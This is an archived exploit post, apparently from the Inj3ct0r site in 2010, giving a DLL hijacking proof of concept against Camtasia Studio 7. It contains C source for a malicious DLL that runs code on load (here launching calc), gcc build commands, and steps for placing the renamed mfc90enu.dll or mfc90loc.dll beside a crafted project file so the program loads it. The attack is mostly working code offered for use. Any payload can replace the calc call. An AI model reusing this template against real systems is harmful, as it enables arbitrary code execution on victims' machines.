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Camtasia Studio 7 (mfc90enu.dll, mfc90loc.dll) DLL Hijacking

Posted on 27 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Camtasia Studio 7 (mfc90enu.dll, mfc90loc.dll) DLL Hijacking Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>====================================================================
Camtasia Studio 7 (mfc90enu.dll, mfc90loc.dll) DLL Hijacking Exploit
====================================================================

/*-------------------------------------------------------------------------*/
/**

  [*] Camtasia Studio 7  (mfc90enu.dll, mfc90loc.dll) DLL Hijacking Exploit
  
  [*] Date: 26/08/2010

  [*] Author: p4r4n0id
  
  [*] Vendor: Techsmith

  [*] Product Web Page: http://www.techsmith.com/camtasia.asp
      
  ----
  gcc -shared -o mfc90enu.dll evil_dll.c
 
  Compile and rename to mfc90enu.dll, create a file boom.cmmtpl or boom.cmmp and put
  both files in same dir, execute and do your math homework. :)
  
  
  gcc -shared -o mfc90loc.dll evil_dll.c
  
  Compile and rename to mfc90loc.dll, create a file boom.cmmtpl and put
  both files in same dir, execute and and do your math homework. :)
  
  ----

  
**/
/*--------------------------------------------------------------------------*/

#include &lt;windows.h&gt;


int calc();

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		calc();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int calc()
{
  WinExec(&quot;calc&quot;, 0);
  exit(0);
  return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-27]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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